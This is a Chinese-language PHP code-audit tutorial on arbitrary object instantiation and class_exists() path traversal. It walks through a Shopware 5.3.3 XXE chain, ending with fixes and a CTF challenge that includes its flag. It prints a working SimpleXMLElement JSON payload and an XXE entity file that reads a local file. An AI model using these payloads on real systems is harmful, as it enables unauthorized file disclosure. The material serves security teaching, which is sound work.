[红日安全]代码审计Day3 - 实例化任意对象漏洞
字数 1380 2025-08-18 11:37:33
PHP代码审计:实例化任意对象漏洞与XXE攻击分析
1. 漏洞概述
本文详细分析PHP代码中两种常见的安全漏洞:
- 通过
class_exists()函数导致的文件包含漏洞 - 通过任意对象实例化导致的XXE攻击漏洞
2. class_exists()函数漏洞分析
2.1 漏洞原理
if(class_exists($classname)) {
$newclass = new $classname($param,$param2);
// ...
}
class_exists()函数在PHP5~5.3版本中,当$autoload参数为true(默认值)时会自动调用__autoload函数- 攻击者可以利用路径穿越符号(如
..)包含任意文件 - 示例攻击:类名为
..etc/passwd时,可能查看passwd文件内容
2.2 函数定义
bool class_exists ( string $class_name [, bool $autoload = true ] )
$class_name:类名(不区分大小写)$autoload:是否自动调用__autoload函数(默认为true)
3. 任意对象实例化漏洞
3.1 漏洞原理
当代码允许用户控制类名和构造函数参数时,攻击者可以:
- 实例化PHP内置类(如
SimpleXMLElement) - 通过XXE攻击读取文件或执行命令
3.2 SimpleXMLElement类
final public SimpleXMLElement::__construct (
string $data [,
int $options = 0 [,
bool $data_is_url = FALSE [,
string $ns = "" [,
bool $is_prefix = FALSE ]]]]
)
- 用于表示XML文档中的元素(PHP内置类)
- 当
$data_is_url为true时,可以从URL加载XML数据
4. 实例分析:Shopware 5.3.3 XXE漏洞
4.1 漏洞链分析
ProductStream.php中的loadPreviewAction方法接收用户输入的sort参数- 参数传递路径:
Repository::unserialize()LogawareReflectionHelper::unserialize()ReflectionHelper::createInstanceFromNamedArguments()
4.2 关键代码
// ReflectionHelper.php
public function createInstanceFromNamedArguments($className, $arguments) {
$reflectionClass = new ReflectionClass($className); // 用户可控的类名
// ...
$newParams = [];
foreach ($constructorParams as $paramName => $param) {
$newParams[] = $arguments[$paramName]; // 用户可控的参数
}
return $reflectionClass->newInstanceArgs($newParams); // 实例化对象
}
4.3 漏洞利用
原始请求:
GET /shopware520/backend/ProductStream/loadPreview?...&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}...
构造的恶意payload:
{
"SimpleXMLElement": {
"data": "http://localhost/xxe.xml",
"options": 2,
"data_is_url": 1,
"ns": "",
"is_prefix": 0
}
}
4.4 XXE攻击文件示例
xxe.xml内容:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>
5. 修复建议
5.1 XXE漏洞修复
- 过滤XML中的关键词(如
ENTITY、SYSTEM) - 禁止加载XML外部实体:
libxml_disable_entity_loader(true);
5.2 通用防护措施
- 对用户输入的类名进行白名单校验
- 限制可实例化的类范围
- 禁用危险的PHP内置类
- 升级PHP版本(解决
class_exists()路径穿越问题)
6. CTF题目分析
6.1 题目代码
// index.php
class NotFound {
function __construct() { die('404'); }
}
spl_autoload_register(function ($class) {
new NotFound();
});
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)) {
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
6.2 解题思路
- 目标:读取
f1agi3hEre.php中的flag - 限制:
spl_autoload_register会拦截未定义的类并返回404- 需要找到已定义的类或绕过自动加载机制
- 可能的解法:
- 使用PHP内置类(如
SimpleXMLElement)进行XXE攻击 - 利用
class_exists()特性包含文件
- 使用PHP内置类(如
7. 总结
class_exists()函数在特定PHP版本中可能导致文件包含漏洞- 任意对象实例化漏洞可导致XXE攻击等严重后果
- 开发中应对用户输入的类名和参数进行严格过滤
- 及时更新PHP版本和应用补丁
8. 扩展学习
- PHP魔术方法(如
__autoload、__construct)的安全影响 - PHP反射API的安全使用
- XXE攻击的多种利用方式和防御措施
- PHP内置类的安全风险(如
SoapClient、ZipArchive等)